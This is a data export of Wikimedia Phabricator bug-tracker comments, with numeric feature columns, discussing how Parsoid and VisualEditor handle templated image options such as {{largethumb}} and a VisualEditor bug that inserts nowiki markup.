426040,Images: Handle templated image options containing pipes,"Nothing to be here for this quarter .. So, I am removing the VE Q3 blocker part.",,,1426264942,,PHID-USER-slccyo5rqasgpljxny7g,False,,,PHID-TASK-rkmnvdgo6nof3bkunyfu,task_subcomment,,True,c1,3,True,,,88,,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,11.0,11.0,5.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,16.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,11.0,26.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,5.0,11.0,11.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,3.3684210526315788,1.0,"Nothing to be here for this quarter .. So, I am removing the VE Q3 blocker part."
417902,Images: Handle templated image options containing pipes,"The solution to this bug is probably something like ""largethumb"" in core or T90914.  But we could also create a {{largethumb2|File:Foo.jpg|some|options|caption}} template which expanded to a complete <figure> tag; that would allow pages which use {{largethumb2}} to be edited in VE.  Ideally we'd use something like wikilint to automatically apply the {{largethumb2}} template.",,,1424980985,,PHID-USER-m2ezqyeb4uz67zq6bats,False,,,PHID-TASK-rkmnvdgo6nof3bkunyfu,task_subcomment,,True,c1,3,True,,,86,,0.0,3.0,0.0,1.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,1.0,0.0,0.0,0.0,3.0,0.0,5.0,10.0,3.0,3.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,1.0,3.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,1.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,10.0,1.0,1.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,1.0,0.0,0.0,3.0,0.0,5.0,3.0,8.0,0.0,3.0,10.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,3.0,10.0,5.0,0.0,3.0,0.0,3.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,1.0,4.166666666666667,0.6666666666666666,"The solution to this bug is probably something like ""largethumb"" in core or T90914.  But we could also create a {{largethumb2|File:Foo.jpg|some|options|caption}} template which expanded to a complete <figure> tag; that would allow pages which use {{largethumb2}} to be edited in VE.  Ideally we'd use something like wikilint to automatically apply the {{largethumb2}} template."
405126,Images: Handle templated image options containing pipes,"We need to figure out what else to do with it as far as editing goes. As it stands, Parsoid supports rendering and roundtripping for these templates.",,,1422665790,,PHID-USER-slccyo5rqasgpljxny7g,False,,,PHID-TASK-rkmnvdgo6nof3bkunyfu,task_subcomment,,True,c1,3,True,,,82,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,3.0,3.0,10.0,23.0,0.0,7.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,0.0,0.0,0.0,13.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,10.0,23.0,3.0,0.0,0.0,0.0,10.0,0.0,3.0,0.0,0.0,7.0,0.0,0.0,0.0,4.1,0.8666666666666667,"We need to figure out what else to do with it as far as editing goes. As it stands, Parsoid supports rendering and roundtripping for these templates."
251344,Images: Handle templated image options containing pipes,All patches merged; resetting bug status,,,1398408280,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-rkmnvdgo6nof3bkunyfu,task_subcomment,,True,c1,3,True,,,42,,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,43.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,5.0,1.0,All patches merged; resetting bug status
251339,Images: Handle templated image options containing pipes,This problem exists because nl.wp wants two thumb sizes. Why not add 'largethumb' as a core part of syntax? i.e. Has that approach been explored and rejected?,,,1392422070,,PHID-USER-oxd6f6xemkuyttw7z7wl,False,,,PHID-TASK-rkmnvdgo6nof3bkunyfu,task_subcomment,,True,c1,3,False,,,32,,0.0,0.0,0.0,3.0,3.0,3.0,0.0,3.0,0.0,0.0,6.0,6.0,0.0,0.0,0.0,0.0,0.0,6.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,22.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,3.0,9.0,6.0,3.0,9.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,0.0,0.0,9.0,3.0,6.0,6.0,0.0,0.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,3.0,4.125,0.9375,This problem exists because nl.wp wants two thumb sizes. Why not add 'largethumb' as a core part of syntax? i.e. Has that approach been explored and rejected?
251334,Images: Handle templated image options containing pipes,"Change 110095 merged by jenkins-bot:
Set up data-mw for all templated image attributes.

https://gerrit.wikimedia.org/r/110095",,,1392413844,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-rkmnvdgo6nof3bkunyfu,task_subcomment,,True,c1,3,False,,,32,,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,27.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,5.0,0.0,5.0,0.0,0.0,14.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.9545454545454546,"Change 110095 merged by jenkins-bot:
Set up data-mw for all templated image attributes.

GERRIT_URL"
251330,Images: Handle templated image options containing pipes,"Here is the latest on this. 

https://gerrit.wikimedia.org/r/#/c/110095/ provides support for templated image options. It identifies individual image options that came from a template and provides VE sufficient information to make them editable. Parsoid can then serialize the edited attributes back to transclusions. See https://www.mediawiki.org/wiki/Parsoid/MediaWiki_DOM_spec#Transclusion-affected_attributes for how Parsoid conveys this information to clients (VE).

However, {{largethumb}} is still a special case. That gerrit patch also adds support for parsing largethumb as two image options. However, Parsoid cannot provide editing support for it, i.e. we cannot mark up both ""thumb"" and ""261px"" as coming from templates, that they are connected, and that VE cannot edit them individually. As you can see from the DOM spec (linked above), the spec is already fairly complex and we do not want to complicate the spec further to support this edge case. This is not just a complication for Parsoid, but for VE, and any other clients that need to deal with this spec.

That said, there are two options for how we can move forward.

1. Parsoid can mark images from {{largethumb}} uneditable so that VE doesn't attempt to deal with that template. This also means that the wikitext for these images will always be preserved and can only be edited in wikitext mode.

2. Parsoid makes the image editable. When the page is edited in VE, Parsoid preserves the image including {{largethumb}} transclusion when the image itself is not edited (even if other parts of the page are edited - which should be the vast majority of edits). But, if the image itself is edited, the {{largethumb}} template will effectively be subst-ed because Parsoid flattens out {{largethumb}} to regular options: ""thumb"" and ""261px"".

As of now, gerrit patch 110095 implements solution 1. as an initial step. However, in the long run, we feel solution 2 is a better solution that  provides editing support and also gradually moves towards reduced largethumb usage (by subst-ing largethumb images edited in VE). John Vandenburg has suggested in comment 3 (#c3 above) that if nlwiki set 261px as the default thumbnail size, editors could simply use |thumb instead of |{{largethumb}} and get the same effect. Not sure if that is viable, but collating all suggestions here in one place.

It would be good to get some input on these options.",,,1391708056,,PHID-USER-slccyo5rqasgpljxny7g,False,,,PHID-TASK-rkmnvdgo6nof3bkunyfu,task_subcomment,,True,c1,3,True,,,31,,0.6,0.0,0.0,1.4,1.6,5.2,1.2,0.2,0.0,0.8,3.4,0.2,0.0,0.2,0.2,0.8,0.0,7.8,11.0,0.0,1.2,0.2,0.2,0.2,0.6,0.0,0.0,0.4,1.8,0.6,0.2,5.6,0.8,1.0,1.0,0.2,0.0,0.2,0.4,0.6,0.0,0.6,0.2,3.6,0.0,0.4,0.0,0.4,0.6,12.4,0.8,2.2,0.2,0.2,0.0,0.2,0.0,0.2,1.2,0.0,0.0,2.2,0.0,0.0,0.4,0.4,0.0,4.4,3.4,7.2,2.8,2.4,8.0,0.0,0.0,0.0,0.2,4.6,0.0,1.4,0.0,2.6,11.0,4.8,0.0,1.6,0.0,2.6,0.0,1.6,1.0,0.8,0.8,0.2,0.2,1.0,3.979166666666667,0.6916666666666667,"Here is the latest on this. 

URL provides support for templated image options. It identifies individual image options that came from a template and provides VE sufficient information to make them editable. Parsoid can then serialize the edited attributes back to transclusions. See URL for how Parsoid conveys this information to clients (VE).

However, {{largethumb}} is still a special case. That gerrit patch also adds support for parsing largethumb as two image options. However, Parsoid cannot provide editing support for it, i.e. we cannot mark up both ""thumb"" and ""261px"" as coming from templates, that they are connected, and that VE cannot edit them individually. As you can see from the DOM spec (linked above), the spec is already fairly complex and we do not want to complicate the spec further to support this edge case. This is not just a complication for Parsoid, but for VE, and any other clients that need to deal with this spec.

That said, there are two options for how we can move forward.

1. Parsoid can mark images from {{largethumb}} uneditable so that VE doesn't attempt to deal with that template. This also means that the wikitext for these images will always be preserved and can only be edited in wikitext mode.

2. Parsoid makes the image editable. When the page is edited in VE, Parsoid preserves the image including {{largethumb}} transclusion when the image itself is not edited (even if other parts of the page are edited - which should be the vast majority of edits). But, if the image itself is edited, the {{largethumb}} template will effectively be subst-ed because Parsoid flattens out {{largethumb}} to regular options: ""thumb"" and ""261px"".

As of now, gerrit patch 110095 implements solution 1. as an initial step. However, in the long run, we feel solution 2 is a better solution that  provides editing support and also gradually moves towards reduced largethumb usage (by subst-ing largethumb images edited in VE). John Vandenburg has suggested in comment 3 (#c3 above) that if nlwiki set 261px as the default thumbnail size, editors could simply use |thumb instead of |{{largethumb}} and get the same effect. Not sure if that is viable, but collating all suggestions here in one place.

It would be good to get some input on these options."
251326,Images: Handle templated image options containing pipes,"Change 110095 had a related patch set uploaded by Subramanya Sastry:
WIP: Set up data-mw for all templated image attributes.

https://gerrit.wikimedia.org/r/110095",,,1391639487,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-rkmnvdgo6nof3bkunyfu,task_subcomment,,True,c1,3,False,,,31,,4.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,4.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,21.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,21.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,11.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,4.214285714285714,0.9642857142857143,"Change 110095 had a related patch set uploaded by Subramanya Sastry:
WIP: Set up data-mw for all templated image attributes.

GERRIT_URL"
251321,Images: Handle templated image options containing pipes,"Change 76821 merged by jenkins-bot:
Add new parserTests for image attributes coming from templates.

https://gerrit.wikimedia.org/r/76821",,,1375218314,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-rkmnvdgo6nof3bkunyfu,task_subcomment,,True,c1,3,False,,,4,,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,29.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,5.0,0.0,0.0,14.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,4.714285714285714,1.0,"Change 76821 merged by jenkins-bot:
Add new parserTests for image attributes coming from templates.

GERRIT_URL"
251315,Images: Handle templated image options containing pipes,"Change 76821 had a related patch set uploaded by Cscott:
Add new parserTests for image attributes coming from templates.

https://gerrit.wikimedia.org/r/76821",,,1375215680,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-rkmnvdgo6nof3bkunyfu,task_subcomment,,True,c1,3,False,,,4,,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,17.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,12.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,0.0,4.791666666666667,1.0,"Change 76821 had a related patch set uploaded by Cscott:
Add new parserTests for image attributes coming from templates.

GERRIT_URL"
251309,Images: Handle templated image options containing pipes,"There are two independent issues here, it appears.

1. Image attributes that are template-affected are not properly marked up during parse and hence doesn't rt back to its original form.  This is an issue independent of {{largethumb}} usage.  Once we fix this, even if the {{largethumb}} template doesn't parse correctly, it will RT correctly. This may be easier to fix.  Will create a separate bug report for it.

[subbu@earth tests] echo '[[File:Telephone exchange 1.svg|thumb|{{echo|261px}}]]' | node parse --wt2wt
[[File:Telephone exchange 1.svg|thumb|261px]]

2. Proper rendering of the image in VE depends on us correctly handling the largethumb template (and other such templated image options containing pipes).",,,1374636592,,PHID-USER-slccyo5rqasgpljxny7g,False,,,PHID-TASK-rkmnvdgo6nof3bkunyfu,task_subcomment,,True,c1,3,True,,,3,,0.0,0.0,0.0,0.5,1.5,6.5,1.0,0.0,0.0,0.5,1.0,2.5,0.0,0.0,0.5,1.0,0.5,5.5,6.0,0.0,0.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.5,1.0,0.5,5.5,0.0,2.0,0.5,0.0,0.5,0.0,0.5,0.0,0.0,0.0,0.5,0.5,0.0,0.5,0.0,0.5,0.0,16.0,1.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,1.5,0.0,0.0,0.0,0.5,0.0,3.0,2.5,7.5,1.0,1.0,4.5,0.0,0.0,0.0,0.0,3.0,0.0,2.0,0.0,3.5,6.0,2.0,0.0,1.5,0.0,3.5,0.0,0.5,1.0,0.5,1.5,0.5,0.0,4.5,3.967948717948718,0.717948717948718,"There are two independent issues here, it appears.

1. Image attributes that are template-affected are not properly marked up during parse and hence doesn't rt back to its original form.  This is an issue independent of {{largethumb}} usage.  Once we fix this, even if the {{largethumb}} template doesn't parse correctly, it will RT correctly. This may be easier to fix.  Will create a separate bug report for it.

[subbu@earth tests] echo '[[File:Telephone exchange 1.svg|thumb|{{echo|261px}}]]' | node parse --wt2wt
[[File:Telephone exchange 1.svg|thumb|261px]]

2. Proper rendering of the image in VE depends on us correctly handling the largethumb template (and other such templated image options containing pipes)."
251301,Images: Handle templated image options containing pipes,~ 1 in 225 nlwp articles (0.45%) have this bug.  This bug affects the whole page.,,,1374635889,,PHID-USER-oxd6f6xemkuyttw7z7wl,False,,,PHID-TASK-rkmnvdgo6nof3bkunyfu,task_subcomment,,True,c1,3,False,,,3,,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,23.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,5.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.9090909090909091,~ 1 in 225 nlwp articles (0.45%) have this bug.  This bug affects the whole page.
251294,Images: Handle templated image options containing pipes,"Except for eight cases, the parser fails for nl.wp pages at http://parsoid.wmflabs.org:8001/topfails all contain '{{largethumb}}'.",,,1374627506,,PHID-USER-oxd6f6xemkuyttw7z7wl,False,,,PHID-TASK-rkmnvdgo6nof3bkunyfu,task_subcomment,,True,c1,3,False,,,3,,4.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,9.0,4.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,17.0,4.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.4347826086956523,0.8260869565217391,"Except for eight cases, the parser fails for nl.wp pages at URL all contain '{{largethumb}}'."
251289,Images: Handle templated image options containing pipes,"Ugh, I guess we have to get to this sooner than later then and find a reasonable solution.",,,1374598056,,PHID-USER-slccyo5rqasgpljxny7g,False,,,PHID-TASK-rkmnvdgo6nof3bkunyfu,task_subcomment,,True,c1,3,True,,,3,,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,15.0,15.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,5.0,0.0,10.0,0.0,5.0,10.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,10.0,15.0,5.0,0.0,0.0,0.0,10.0,0.0,0.0,5.0,0.0,0.0,5.0,0.0,0.0,3.65,0.95,"Ugh, I guess we have to get to this sooner than later then and find a reasonable solution."
251284,Images: Handle templated image options containing pipes,"There are around 110 uses on enwp
https://en.wikipedia.org/w/index.php?title=Special:WhatLinksHere/Template:Largethumb&limit=110
They are all in the article, and most of them are [[491]]-[[635]] (years).  I'm guessing they can be subst'd without much concern, to converted to normal thumbs.

On nlwp, it is way over 5000 uses
https://nl.wikipedia.org/w/index.php?title=Speciaal:VerwijzingenNaarHier/Sjabloon:Largethumb&limit=5000

They are in the pages; not in a template, and nlwp doesnt appear keen to subst: them.  Has anyone proposed that their default thumbnail be set to this value?

only four uses here:
https://nds-nl.wikipedia.org/wiki/Spesiaal:Verwiezingen_naor_disse_pagina/Mal:Largethumb",,,1374571791,,PHID-USER-oxd6f6xemkuyttw7z7wl,False,,,PHID-TASK-rkmnvdgo6nof3bkunyfu,task_subcomment,,True,c1,3,False,,,3,,1.0,1.0,0.0,1.0,1.0,3.5,3.0,0.0,0.0,0.0,2.5,0.5,0.0,1.0,0.5,0.5,0.0,5.5,9.0,1.0,1.5,0.0,0.0,0.0,0.0,0.0,0.0,0.5,0.5,0.0,0.0,6.0,0.5,1.0,0.0,0.0,1.0,0.0,0.0,1.0,0.0,4.5,0.0,0.0,0.0,0.5,0.0,0.0,1.0,10.0,0.0,1.0,0.0,0.5,0.0,1.0,0.0,1.0,1.5,0.0,0.0,1.0,0.0,0.5,0.0,0.0,0.0,2.5,5.0,6.5,1.0,1.5,3.5,0.0,0.0,0.0,0.0,3.5,0.0,2.5,0.0,6.0,9.0,3.0,1.0,0.0,0.0,6.0,0.0,0.0,1.0,1.5,0.5,0.0,0.5,2.0,3.330188679245283,0.8490566037735849,"There are around 110 uses on enwp
URL
They are all in the article, and most of them are [[491]]-[[635]] (years).  I'm guessing they can be subst'd without much concern, to converted to normal thumbs.

On nlwp, it is way over 5000 uses
URL

They are in the pages; not in a template, and nlwp doesnt appear keen to subst: them.  Has anyone proposed that their default thumbnail be set to this value?

only four uses here:
URL"
251279,Images: Handle templated image options containing pipes,https://gerrit.wikimedia.org/r/67853 (Gerrit Change Ic7652979ec3d5fa35995aac9362c812ab4ede173) | change APPROVED and MERGED [by jenkins-bot],,,1370890352,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-rkmnvdgo6nof3bkunyfu,task_subcomment,,True,c1,2,False,,,-3,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,35.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,41.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.117647058823529,1.0,GERRIT_URL (Gerrit Change Ic7652979ec3d5fa35995aac9362c812ab4ede173) | change APPROVED and MERGED [by jenkins-bot]
251273,Images: Handle templated image options containing pipes,Related URL: https://gerrit.wikimedia.org/r/67853 (Gerrit Change Ic7652979ec3d5fa35995aac9362c812ab4ede173),,,1370889698,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-rkmnvdgo6nof3bkunyfu,task_subcomment,,True,c1,2,False,,,-3,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,67.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,44.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.444444444444445,1.0,Related URL: GERRIT_URL (Gerrit Change Ic7652979ec3d5fa35995aac9362c812ab4ede173)
51394,VisualEditor: Misc. issues,"https://en.wikipedia.org/w/index.php?title=Mavericks_(location)&diff=559262706&oldid=559261658

There are a few issues here:

* the diff presented to the user prior to save didn't include any of these extraneous changes (or I obviously wouldn't have saved the edit);

* there's <nowiki> markup being inserted throughout the page, breaking a number of links; and

* there's spacing normalization being done to template parameters, resulting in an even dirtier diff.

I'm not sure how these issues should be split out or if there are existing bug reports for all three of these issues.

--------------------------
**Version**: unspecified
**Severity**: normal
**URL**: https://en.wikipedia.org/w/index.php?title=Special:RecentChanges&tagfilter=visualeditor",Medium,50.0,1370887500,1371227728.0,PHID-USER-hyfm4swq76s4j642w46x,False,,False,PHID-TASK-oqao2yl4prg5uecpylkw,task_description,resolved,True,c1,2,False,False,True,-3,,2.0,0.0,0.0,2.0,2.0,4.0,0.0,0.0,0.0,1.0,1.0,2.0,0.0,0.0,2.5,1.5,0.0,5.0,7.0,0.0,0.0,1.0,0.0,0.0,0.5,0.0,0.0,0.0,0.0,0.5,1.5,3.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.5,0.0,0.0,0.0,0.0,0.0,13.0,0.0,2.0,0.0,0.0,0.0,0.5,0.0,0.5,0.5,0.5,1.0,1.0,0.0,0.0,0.0,0.0,0.0,4.0,3.5,5.5,1.5,2.0,7.0,0.0,0.0,0.0,0.0,2.0,0.0,1.0,0.0,1.5,7.0,1.5,0.0,0.0,0.0,1.5,0.0,1.0,2.0,0.0,2.5,1.0,0.0,1.0,3.765151515151515,0.7348484848484849,"URL

There are a few issues here:

* the diff presented to the user prior to save didn't include any of these extraneous changes (or I obviously wouldn't have saved the edit);

* there's <nowiki> markup being inserted throughout the page, breaking a number of links; and

* there's spacing normalization being done to template parameters, resulting in an even dirtier diff.

I'm not sure how these issues should be split out or if there are existing bug reports for all three of these issues.

--------------------------
**Version**: unspecified
**Severity**: normal
**URL**: URL"
250788,VisualEditor: Misc. issues,Marking as such.,,,1371227728,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-oqao2yl4prg5uecpylkw,task_subcomment,,True,c1,2,True,,,-3,,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,3.5,1.0,Marking as such.
250779,VisualEditor: Misc. issues,"The <nowiki> tags in Cite transclusions (and other tpl transclusions, if they showed up) should be fixed.  My suggestion is to close this bug now since the VE heading bug is tracked separately, and as for user entering wikitext, well, that could be a feature request for VE alerting the user when (s)he enters wikitext, or maybe a FAQ entry or something. 

In all cases, this bug wont be much useful beyond this point.",,,1371227543,,PHID-USER-slccyo5rqasgpljxny7g,False,,,PHID-TASK-oqao2yl4prg5uecpylkw,task_subcomment,,True,c1,2,True,,,-3,,2.0,1.0,0.0,2.0,0.0,3.0,3.0,0.0,0.0,1.0,3.0,0.0,1.0,0.0,0.0,1.0,0.0,7.0,11.0,1.0,1.0,1.0,1.0,0.0,1.0,0.0,0.0,0.0,1.0,0.0,2.0,3.0,1.0,0.0,0.0,0.0,0.0,0.0,1.0,1.0,0.0,1.0,1.0,3.0,0.0,0.0,0.0,0.0,0.0,18.0,1.0,3.0,0.0,0.0,1.0,0.0,0.0,0.0,2.0,0.0,0.0,1.0,0.0,0.0,1.0,0.0,0.0,5.0,5.0,8.0,3.0,4.0,11.0,0.0,0.0,0.0,0.0,4.0,1.0,0.0,0.0,2.0,11.0,4.0,0.0,0.0,0.0,2.0,0.0,1.0,2.0,0.0,2.0,0.0,0.0,2.0,3.791208791208791,0.7362637362637363,"The <nowiki> tags in Cite transclusions (and other tpl transclusions, if they showed up) should be fixed.  My suggestion is to close this bug now since the VE heading bug is tracked separately, and as for user entering wikitext, well, that could be a feature request for VE alerting the user when (s)he enters wikitext, or maybe a FAQ entry or something. 

In all cases, this bug wont be much useful beyond this point."
